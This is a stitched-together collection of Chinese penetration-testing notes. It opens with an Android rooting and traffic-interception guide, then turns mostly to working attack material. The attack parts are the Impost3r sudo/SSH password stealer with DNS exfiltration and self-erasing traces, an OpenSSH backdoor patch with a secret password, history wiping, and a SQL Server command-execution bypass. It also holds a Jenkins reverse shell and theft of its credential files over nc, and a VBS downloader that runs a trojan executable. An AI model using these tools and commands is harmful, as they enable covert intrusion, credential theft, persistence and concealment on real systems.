1. 首先购买一个可以root的手机,建议nexus 5X,淘宝二手200多一个,可以直接申请让店主帮忙root
  2. 解锁:关机之后按住电源键和音量-进入fastboot模式,看一下是否已经解锁,如果还未解锁参考

Nexus5 解锁教程
准备sdk工具:

1) 首先购买一个可以root的手机,建议nexus 5X,淘宝二手200多一个,可以直接申请让店主帮忙root
2) 解锁:关机之后按住电源键和音量-进入fastboot模式,看一下是否已经解锁,如果还未解锁参考

Nexus5 解锁教程
准备sdk工具:

  1. 进入谷歌官网下载sdk_tools工具
  2. 进入sdk下载目录如果缺少build-tools, platform-tools等目录,说明sdk下载不完全
    此时进入tools目录运行android.bat文件勾选需要选项继续下载安装
    选做,报错找不到工具情况下: sudo apt-get install android-tools-adb
    sudo apt-get install fastboot
    详细步骤:
  3. 进入设置->关于手机->版本号,点击5或6次“版本号”就能启动“开发者选项”。
  4. 进入开发者选项,勾选USB调试的复选框,确定选择“一律允许此计算机进行调试”。
  5. 将你的Nexus5手机连接电脑。
  6. 你需要给它USB调试访问(别忘了检查框)。
  7. 输入一个命令提示符
    $ adb reboot bootloader 。
  8. 等待bootloader界面在屏幕上出现。
    $ fastboot oem unlock 。
  9. 一个unlock bootloader的选择确认页面会出现。用音量来选择到“YES,”,用电源键来确定。
  10. 这时你手机上的所有数据都将被抹去,LOCK STATE将变成unlocked。不应该超过一两分钟。
  11. 至此你的bootloader(引导装载程序)现在已经解锁,然后你可以root或者刷ROM又准备根、rom、恢复等。
  12. 你应该看到屏幕上显示“START“用电源键选择并让手机重启。
  13. 在重新启动后,你的手机将完成出厂设置(也就是数据全部清空,所以建议可以上来就解锁或做好重要数据备份)。
  14. 重新开机后的画面下面出现了一个打开的锁,以后刷机都会在解锁状态下了。
    做完OTA升级后需重新root
    Nexus5 root教程
    详细步骤:
  15. 首先确保你电脑的fastboot驱动安装正常,如果不确定的话,也可以从这个网站获取(http://developer.android.com/index.html)。
  16. 将你的Nexus 5调整到bootloader模式,具体的办法是先关机,然后在关机的状态下,同时按住电源和音量下键。
    或者输入一个命令提示符
    $ adb reboot bootloader 。
  17. 通过USB数据线将手机和电脑连接起来。
  18. 从http://autoroot.chainfire.eu下载Nexus 5对应的CF-Auto-Root版本(注意这个工具也支持Nexus 4和Nexus 7等)。
  19. 解压并根据你电脑的操作系统选择执行下面的文件:
    Windows — 双击运行root-windows.bat
    Linux — chmod +x root-linux.sh — 运行 root-linux.sh
    Mac OS X — chmod +x root-mac.sh — 运行 root-mac.sh
  20. 根据屏幕提示进行下一步,记得同时关注电脑上和Nexus 5手机上的屏幕变化。
    然后一般来说,操作完Nexus5就成功获取ROOT权限了。
    Nexus5 刷官方ROM教程
  21. 进入官网下载nexus5对应刷机包
    https://developers.google.com/android/nexus/images
  22. 解压
  23. 连接数据线
  24. 将你的Nexus 5调整到bootloader模式,具体的办法是先关机,然后在关机的状态下,同时按住电源和音量下键。
  25. 执行压缩包中的flash-all脚本
  26. 刷机完成
    Nexus5 刷谷歌源码(codename: hammerhead)
  27. 连接数据线
  28. sudo adb reboot-bootloader
  29. sudo fastboot devices 查找设备
  30. 刷img文件
    (android source/out/target/product/hammerhead/文件夹下build好的镜像刷入手机–默认使用的是testkey)
    4.1 刷recovery.img指令
    sudo fastboot flash recovery recovery.img
    4.2 刷boot.img指令
    sudo fastboot flash boot boot.img
    4.3 刷system.img指令
    sudo fastboot flash system system.img
    4.4 刷userdata.img指令
    sudo fastboot flash userdata userdata.img
    4.5 重启手机
    sudo fastboot reboot
    Nexus5 recovery模式下刷升级包及差分包(与系统签名一致否则报错)
  31. adb reboot-bootloader or adb reboot recovery
  32. 使用音量键选择recovery 模式, 电源键确定
  33. 出现倒地安卓机器人, 按音量上键 选择apply update from adb 安装模式
  34. 电脑控制台敲入 adb sideload filename 刷入升级包

3) 解锁后下载magisk,打开后点击安装,选择patch一个文件,通过adb把手机镜像压缩包中的boot.img传到手机中:
adb.exe push ./boot.img /sdcard/Download/
在magisk中选择boot.img

4) 安装完成后,通过magisk上滑点页面底部的插件按钮,安装riru和Edxposed,安装完毕后下载Edxposed manger,重启手机
5) 打开Edxposed manager,如果已经成功,安装justtrustme并开启,下载ProxyDroid,授予root权限并设置代理
6) 重启之后,设置wifi代理就可以了(或者设置proxydroid后不用设置wifi代理)
7) 如果依然抓不到包,使用brida,暂时没搞明白

Impost3r

GitHub issues
GitHub stars
GitHub forks
GitHub license

English

Impost3r是一个利用C语言编写,用来窃取linux下各类密码(ssh,su,sudo)的工具

用户可使用此程序制造水坑,窃取合法用户的密码

此工具仅限于安全研究和教学,用户承担因使用此工具而导致的所有法律和相关责任! 作者不承担任何法律和相关责任!

特性

  • 自动擦除行为痕迹
  • 通过DNS协议传输结果
  • 用户无感

依赖

  • gcc

使用方法

Impost3r可以用来窃取包括sudo、su、ssh服务在内的密码,这三个服务可大致分为2类,sudo以及ssh/su,下面分两种情况讨论

窃取sudo密码

仅需要普通用户权限即可,不要求一定是root,但只能窃取对应用户的密码,不能窃取其他用户的

  • 首先假设攻击者控制了一台服务器,权限为普通用户权限
  • 检查用户根目录下是否存在.bash_profile文件,如果.bash_profile存在:检查.bash_profile文件中是否主动加载了.bashrc,如果主动加载,则跳过此步骤及下两步检查,继续进行之后的操作,如果未主动加载,那么跳过下两步检查,且下文中所有针对.bashrc的操作全部更换为针对.bash_profile的操作!!!;如果.bash_profile不存在: 进行下一步检查。
  • 检查用户根目录下是否存在.bash_login文件,如果.bash_login存在:检查.bash_login文件中是否主动加载了.bashrc,如果主动加载,则跳过此步骤及下一步检查,继续进行之后的操作,如果未主动加载,那么跳过下一步检查,且下文中所有针对.bashrc的操作全部更换为针对.bash_login的操作!!!;如果.bash_login不存在: 进行下一步检查。
  • 检查用户根目录下是否存在.profile文件,如果存在.profile文件:检查.profile文件中是否主动加载了.bashrc(默认情况下加载),如果主动加载,则跳过此步骤,继续进行之后的操作,如果未主动加载,那么下文中所有针对.bashrc的操作全部更换为针对.profile的操作!!!;如果.profile也不存在,原则上Impost3r将无法使用,当然你也可以视情况自己决定是否生成.bash_profile或者.profile文件,并往其中写入类似如下的加载代码来加载.bashrc
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
    . "$HOME/.bashrc"
    fi
fi
  • 拷贝一份用户的.bashrc:cp ~/.bashrc /tmp/,并将这份副本放在攻击者自定义的路径下(本例中放置在/tmp/目录下,攻击者可以修改)
  • 修改用户根目录下的.bashrc(~/.bashrc),在最后一行添加如下语句(其中“/tmp/.impost3r”需要与下面的FILENAME保持一致):
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • 添加完成后,保存文件并执行source ~/.bashrc
  • 接着攻击者需要对Impost3r源代码/sudo/main.h进行修改:
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\设置Impost3r在目标服务器上的位置
# define BACKUP_ORI_FILENAME ".bashrc" \\表明攻击者所备份的源用户配置文件是.bashrc还是.bash_profile、.profile、.bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\表明攻击者所备份的源用户配置文件在目标服务器上的位置
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
  • 修改完成后,保存并在当前目录执行make
  • 在当前目录下得到编译完成的.impost3r文件
  • 上传(尽量在目标服务器编译,防止产生非预期的错误).impost3r文件至目标服务器的/tmp/文件夹下(仅为示例,可自行修改,只需与源代码中定义相同即可)
  • 攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用sudo后获取密码。

窃取效果

Tips

  • 在窃取sudo密码的情况下,Impost3r在成功后将会自动擦除痕迹,并不需要攻击者上去手动清理
  • Impost3r会自动判别用户输入的密码是否是正确密码,直到用户输入正确密码后才结束流程并擦除痕迹
  • 请在使用Impost3r之前自行使用sudo -v判断当前用户是否在sudoer组,如果不在,切勿使用Impost3r

窃取ssh/su密码

窃取ssh/su密码与上面sudo密码的窃取利用方法不同,要求必须是root权限,可以窃取任意用户密码

以下以Ubuntu为例,Centos类似,提到的文件位置可能有些许不同

  • 首先还是假设攻击者控制了一台服务器
  • 通过一顿提权操作获得了root权限(或者可爱的管理员就是用root权限启动的服务)
  • 先编辑Impost3r的/ssh_su/main.h源代码文件
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\设置偷取模式,0代表仅偷取ssh密码,1代表偷取ssh及su密码,默认为0(后面会讲到区别)
# define SAVE_OR_SEND 0 \\设置在窃取成功后是将结果保存在目标机器上或者是发送至攻击者控制的机器(发送=0,保存=1,默认为发送)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\注意,如果你不想购买一个域名来接收Impost3r回传的消息且被植入Impost3r的目标服务器并未禁止向你所控制的dns服务器的53端口的直接udp连接,那么这里的域名请使用默认值;
\\但是如果被植入Impost3r的目标服务器严格限制了dns请求的出站,那么请将YOUR_DOMAIN的值改为你所购买的域名,例如“.example.com”,并将这个域名的NS记录配置成你所控制的DNS服务器地址,在此DNS服务器上运行Fdns,并将下方REMOTE_ADDRESS的值更改为被植入Impost3r的目标服务器的默认dns地址,REMOTE_PORT更改为被植入Impost3r的目标服务器的默认dns地址所监听的dns服务端口(绝大多数情况下都是53端口)
# define MAX_RESEND 30 \\设置当窃取到密码之后,Impost3r向攻击者服务器发送用户密码的最大重试次数(仅当SSH_OR_BOTH为0,此选项才有效)
# define RESEND_INTERVAL 5 \\设置每一次发送密码的间隔(仅当SSH_OR_BOTH为0,此选项才有效)
# define REMOTE_ADDRESS "192.168.0.12" \\设置回送密码的远程地址
# define REMOTE_PORT 53 \\设置回送密码的远程端口

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\设置结果文件保存的位置,在SAVE_OR_SEND设置为1的情况下
  • 修改完成后,保存并在当前目录下执行make
  • 得到编译好的文件impost3r.so
  • 将编译完成的impost3r.so上传(尽量在目标服务器编译,防止产生非预期的错误)至目标机器的/lib/x86_64-linux-gnu/security下(不同机器可能文件夹名不同,请根据情况放置)
  • 进入/etc/pam.d下,这时分两种情况,如果选择的模式是仅偷取ssh密码,那么就需要执行vi sshd,在文件的最后添加如下语句
auth optional impost3r.so
account optional impost3r.so
  • 保存并退出,重启sshd服务service sshd restart
  • 而如果选择的是ssh和su密码一起偷取,那么就需要执行vi common-auth,添加相同语句,保存并退出后同样重启sshd服务
  • 攻击者在自己的服务器上启动dns服务端程序,等待合法用户使用ssh登陆目标机器或者使用su切换用户后获取密码。

窃取效果

Tips

  • 在窃取ssh/su密码的情况下,Impost3r由于权限原因无法清除痕迹,需要攻击者自己去清除
  • 请注意,如果设置仅窃取ssh密码,那么基本可以保证攻击者能百分百收到窃取结果,而如果设置两者同时窃取,则不一定保证攻击者能百分百收到结果(仅当设置为dns发送的时候,设置为本地保存不受影响)
  • 不推荐窃取su密码,而且由于用户的ssh密码与su密码是相同的,故而能不窃取su密码就不要窃取,ssh密码就足矣
  • 默认不窃取空密码,请自行尝试用户是否存在空密码(检查一下sshd的配置文件中是否有PermitEmptyPasswords yes,如果是空,那还窃取个鬼鬼。)

注意事项

  • Dns服务端程序我使用的是Fdns,并修改了一部分参数,大家可在文件夹Fdns下找到修改后的源代码,请自行利用命令gcc -o dns main.c util.c编译(注意要先修改main.c中的监听端口)
  • 在编译Fdns之前,请查看util.h中的YOUR_DOMAIN值,确保此值与被植入服务器上的Impost3r程序所编译时使用的YOUR_DOMAIN值是一致的,不然可能会导致窃取的失败
  • 此程序仅是闲暇时开发学习,功能可能存在bug,请多多谅解,也欢迎反馈问题

致谢

Linux操作系统的密码较难获取。而很多Linux服务器都配置了Openssh服务,在获取root权限的情况下,

可以通过修改或者更新OpenSSH代码等方法,截取并保存其SSH登录账号密码,甚至可以留一个隐形的后门,

达到长期控制linux服务器的目的。在很多Linux系统被入侵后都会在系统中留后门,使用OpenSSH留后门是入侵者的惯用方式之一,OpenSSh后门比较难于检测

那么怎么给添加OpenSSH后门以及防范后门呢

安装依赖包

[root@DaMoWang openssh-5.9p1]# yum -y install openssl openssl-devel pam-devel zlib zlib-devel

准备安装包

[root@DaMoWang ~]# ssh -V

OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

[root@DaMoWang ~]# ls /opt/

openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz
# openssh-5.9p1.patch 是补丁文件

解压

[root@DaMoWang ~]# cd /opt/

[root@DaMoWang opt]# tar xf openssh-5.9p1.tar.gz

[root@DaMoWang opt]# tar xf openssh-5.9p1.patch.tar.gz

[root@DaMoWang opt]# ls

openssh-5.9p1 openssh-5.9p1.patch openssh-5.9p1.patch.tar.gz openssh-5.9p1.tar.gz

给openssh打补丁

复制代码

[root@DaMoWang opt]# cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1

[root@DaMoWang opt]# which patch

/usr/bin/which: no patch in (/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin)

[root@DaMoWang opt]# yum install patch

[root@DaMoWang opt]# cd /opt/openssh-5.9p1

[root@DaMoWang openssh-5.9p1]# patch < sshbd5.9p1.diff # 打补丁就是修改替换原文件

patching file auth.c

patching file auth-pam.c

patching file auth-passwd.c

patching file canohost.c

patching file includes.h

patching file log.c

patching file servconf.c

patching file sshconnect2.c

patching file sshlogin.c

patching file version.h

复制代码

添加后门密码

[root@DaMoWang openssh-5.9p1]# vim includes.h

# 跳转到配置文件末尾处 , 修改默认配置

#define ILOG “/tmp/ilog” # 记录远程登录本机的用户和密码

#define OLOG “/tmp/olog” # 记录本机远程登录到其他主机的用户和密码

#define SECRETPW “apaajaboleh” # 后门密码

修改版本号

[root@DaMoWang openssh-5.9p1]# vim version.h

# 修改为当前OpenSSH的版本号

#define SSH_VERSION “OpenSSH_5.3”

#define SSH_PORTABLE “p1”

编译安装

[root@DaMoWang openssh-5.9p1]# ./configure –prefix=/usr \

–sysconfdir=/etc/ssh \

–with-pam \

–with-kerberos5 \

&& make && make install

 

可以看出来 安装的时候 , 已经把原有的ssh的所有命令全部替换 , 但是原有的配置文件并没有被替换 , 这样不容易被发现

重启ssh服务 测试一下

[root@DaMoWang openssh-5.9p1]# service sshd restart

停止 sshd: [确定]

正在启动 sshd: [确定]

[root@DaMoWang openssh-5.9p1]# ssh -V

OpenSSH_5.3p1, OpenSSL 1.0.1e-fips 11 Feb 2013

服务正常启动 , 版本也与原版本一致

测试是否能劫持用户密码

首先测试远程登录本机

现在并没有生成文件

用xshell远程连接一下

 用户名和密码被劫持 , 不仅仅是root用户  , 所有远程连接本机的用户都会被记录 

测试后面密码能否登录本机

为了看到效果 使用明文密码登录

连接以后 别留下脚印

[root@DaMoWang ~]# export HISTFILE=/dev/null

[root@DaMoWang ~]# export HISTSIZE=0

[root@DaMoWang ~]# export HISTFILESIZE=0

[root@DaMoWang ~]# echo >/root/.bash_history # 这个是历史命令的终极文件 不能删除 , 如果原来有内容 , 不能清除 可以是用sed替换

[root@DaMoWang ~]# sed -i ‘s/192.168.94.66/127.0.0.1/g’ /root/.bash_history

# 其他访问日志也可以用用sed替换ip , 瞒天过海

目标有360,绕过xp_cmdshell的方式
create table temp
(output varchar(8000));

;declare @luan int,@exec int,@text int,@str varchar(8000);exec sp_oacreate ‘{72C24DD5-D70A-438B-8A42-98424B88AFB8}’,@luan output;exec sp_oamethod @luan,’exec’,@exec output,’C:\Windows\System32\ipconfig /all’;exec sp_oamethod @exec, ‘StdOut’, @text out;exec sp_oamethod @text, ‘readall’, @str out;select @str;insert into temp values(cast(@str as varchar(8000)));–

select * from temp;
drop table temp;

将其中payload换成wmic process call create “cmd /c whoami > C:\Users\vmware\a.t”注意这里的第二个路径一定要写有权限的绝对路径,否则环境是用的wmic路径,一般来说你没权限

2008R2下sqlserver权限试试ProgramData文件夹

转自http://www.rinige.com/index.php/archives/894/

入口

通常碰到 Jenkins 未授权并且拥有 Overall/RunScripts 权限时可以在 Script 控制台执行命令反弹 Shell:

println "wget http://www.rinige.com/back.py -P /tmp/".execute().text
println "python /tmp/back.py 192.168.1.3 8080".execute().text

back.py 里的 HISTFILE 会去掉各种 History 记录,且不需要 root 权限

或者使用 Groovy 脚本,这里使用的是 pentestmonkey 的 Java reverse shell:

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[attacker IP]/[port];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

凭证提取

如果用户不是 root 没有 sudo 权限的情况下就可以通过提取 Jenkins 保存的用户或者其他节点凭证来获取 root 权限或者别的节点权限

jenkins_1.png

通常需要获取三个文件:master.keyhudson.util.Secret还有credentials.xml

这三个文件都在 Jenkins 安装目录,默认是/opt/jenkins

nc 传输文件:

root@jenkins:/opt/jenkins # nc -w3 192.168.1.3 5000 < credentials.xml
root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < master.key
root@jenkins:/opt/jenkins/secrets # nc -w3 192.168.1.3 5000 < hudson.util.Secret

root@kali:~# nc -l -p 5000 > credentials.xml
root@kali:~# nc -l -p 5000 > master.key
root@kali:~# nc -l -p 5000 > hudson.util.Secret

Script 控制台获取credentials.xml文件:

Windows

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c type credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

*nix

def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cat credentials.xml'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"

文件内容示例:

credentials.xml

<?xml version =' 
1.0'encoding  ='UTF-8'?> <com.cloudbees.plugins.credentials.SystemCredentialsProvider plugin = “credentials@1.9.4” > 
  <domainCredentialsMap  class = “hudson.util.CopyOnWriteMap $ Hash” > 
    <entry> 
      <com.cloudbees.plugins.credentials.domains.Domain> 
        <specifications /> 
      </com.cloudbees.plugins.credentials.domains.Domain> 
      <java.util.concurrent.CopyOnWriteArrayList> 
        <com.cloudbees.plugins .credentials.impl.UsernamePasswordCredentialsImpl> 
          <scope> GLOBAL </ scope> 
          <id> cd940f20-1697-4052-8b8b-e47c058b5390 </ id> 
          <description> </ description> 
          <username> admin</ username> 
          <password> VHWeSi8aTjIHIObYWyNw / 4hrqydpYESwI1JWfmBQNdI = </ password> 
        </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl> 
      </java.util.concurrent.CopyOnWriteArrayList> 
    </ entry> 
  </ domainCredentialsMap>

hudson.util.Secret

[root @ localhost secrets]#cat hudson.util.Secret | hexdump -C
00000000 de 03 88 1c 89 df 74 7a 3d f0 00 27 dc 9b e1 a3 | ...... tz = ..'.... |
00000010 e0 61 1d 99 30 31 91 95 e3 3b 2f 6d 8c a8 1f 4d | .a..01 ...; / m ... M |
00000020 38 b6 eb 20 13 27 38 e7 5b 93 09 e5 91 04 b8 53 | 8 .. .8。[...... S |
00000030 df 64 68 75 39 47 3a 2b 2a 17 69 64 ee bc 75 7b | .dhu9G:+ *。id..u {|
00000040 07 5f a1 e9 69 a2 d8 23 9f ad 6b 4d eb db 91 c5 | .. .. .. .. .. kM .... |
00000050 24 06 6b bc 3c d7 4f 16 e3 ab 95 19 72 f0 75 e7 | $ .k。<。O ..... ru |
00000060 c1 6c 2c 9d 0f 3f 06 99 4e 9f b4 50 12 44 91 1c | .l,..?.. N..PD。|
00000070 35 78 3c c3 cd 1a 2a 77 6e b5 90 4e 7d eb 3c f6 | 5x <... * wn..N}。<。|
00000080 fd c9 53 9e 6f 69 73 02 7b f8 dc 72 f2 60 12 cc | ..S.ois。{.. r.` .. |
00000090 ae df 4a 10 65 23 bb 34 36 db 7c 38 f0 a6 fc a3 | ..Je#.46。| 8 .... |
000000a0 24 d2 b6 a5 28 b9 58 f8 40 45 0f 83 39 5e da b4 | $ ...(。X. @ E..9 ^ .. |
000000b0 5d 93 f0 8f 33 06 bd af 47 b9 d0 b1 ec 26 39 ef |] ... 3 ... G ....&9. |
000000c0 53 25 6a d8 ce c6 ec a5 26 5b ee 85 20 df 63 4d | S%j .....&[.. .cM |
000000d0 f7 f4 94 33 c4 8e 3d 82 ad a9 45 4e be 3e dc 0e | ... 3 .. = ... EN。> .. |
000000e0 1e d9 49 47 36 3d 38 f3 eb 29 22 22 0c c9 b5 0a | ..IG6 = 8 ..)“”.... |
000000f0 68 a0 e4 0d 0d 5b 99 08 3f 4e 03 8a 70 78 7c a7 | h .... [..?N..px |。|
00000100 28 6a a7 93 8b 23 10 54 dd 49 6f f5 67 f4 9c 3c |(j ...#。T.Io.g .. <|
00000110
[root @ localhost secrets]#wc hudson.util.Secret 
  1 7 272 hudson.util.Secret

master.key

6fa18d9aaac920b016d119b76de75251f472ec6f44734533d64eeb5de794f1ca33108a7a7c853a3acf084184e3e93ff98484d668a32d16f810cce970f93c750da0b785cb25527384acab38015c1a3e180a342b807f724da01f3e94584ac60651dc7f1958f3e2c6ed1a16990cbbcc361c82e3b65e96f435173ea67b7255d6810f

解密

Jenkins 使用master.key来加密hudson.util.Secret密钥,hudson.util.Secret又用于加密credentials.xml中的密码。使用的加密算法为AES-128-ECB

1.Script 控制台执行:

println( hudson.util.Secret.decrypt("${ENCRYPTED_PASSPHRASE_OR_PASSWORD}") )

或者

hashed_pw='$PASSWORDHASH'
passwd = hudson.util.Secret.decrypt(hashed_pw)
println(passwd)

2.Python 脚本:

有国外的安全研究员公开了解密脚本:

https://github.com/tweksteen/jenkins-decrypt

https://gist.github.com/carnal0wnage/80611a9c035046b2d400d90303355ff0#file-decrypt-py

root@kali:~/jenkins-decrypt# python decrypt.py master.key hudson.util.Secret credentials.xml
  • Curl

http://carnal0wnage.attackresearch.com/2019/02/jenkins-decrypting-credentialsxml.html

Windows:

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cmd.exe+/c+type+secrets%5C\master.key%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run

*nix

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=def+sout+%3D+new StringBuffer(),serr = new StringBuffer()%0D%0Adef+proc+%3D+%27cat+credentials.xml%27.execute%28%29%0D%0Aproc.consumeProcessOutput%28sout%2C+serr%29%0D%0Aproc.waitForOrKill%281000%29%0D%0Aprintln+%22out%3E+%24sout+err%3E+%24serr%22&Submit=Run"

curl -u admin:admin http://10.0.0.160:8080/scriptText --data "script=println(hudson.util.Secret.fromString('7pXrOOFP1XG62UsWyeeSI1m06YaOFI3s26WVkOsTUx0=').getPlainText())"

获得 root 权限之后就可进行横向渗透等操作

参考

echo Set Post = CreateObject(“Msxml2.XMLHTTP”) >>zl.vbs
echo Set Shell = CreateObject(“Wscript.Shell”) >>zl.vbs
echo Post.Open “GET”,”http://www.jbzj.com/muma.exe”,0 >>zl.vbs
echo Post.Send() >>zl.vbs
echo Set aGet = CreateObject(“ADODB.Stream”) >>zl.vbs
echo aGet.Mode = 3 >>zl.vbs
echo aGet.Type = 1 >>zl.vbs
echo aGet.Open() >>zl.vbs
echo aGet.Write(Post.responseBody) >>zl.vbs
echo aGet.SaveToFile “c:\zl.exe”,2 >>zl.vbs
echo wscript.sleep 1000 >>zl.vbs
echo Shell.Run (“c:\zl.exe”) >>zl.vbs

权限维持

添加用户,非交互式设置密码并加入sudo组
adduser python32
echo python32:password|chpasswd
gpasswd -a username sudo
移动home目录:sudo usermod -d /path/to/new/home -m username

文件下载

tar -cvf log.tar log2012.log 仅打包,不压缩!
tar -zcvf log.tar.gz log2012.log 打包后,以 gzip 压缩
tar -jcvf log.tar.bz2 log2012.log 打包后,以 bzip2 压缩

python -m SimpleHTTPServer 8001

<?php
if (isset($_POST[“AAA”])){
echo “ISSET”;
}else{
echo “UNSET”;
}

这里要构造表单的
<form enctype="application/x-www-form-urlencoded" action="http://10.16.83.113/exec.php" method="POST">
<input type="text" name="radiobutton" value="homeway">
<input type="text" name="key" value="nokey">
<input type="submit" value="submit">
</form>

或者直接burp改,但是必须要Content-Type: application/x-www-form-urlencoded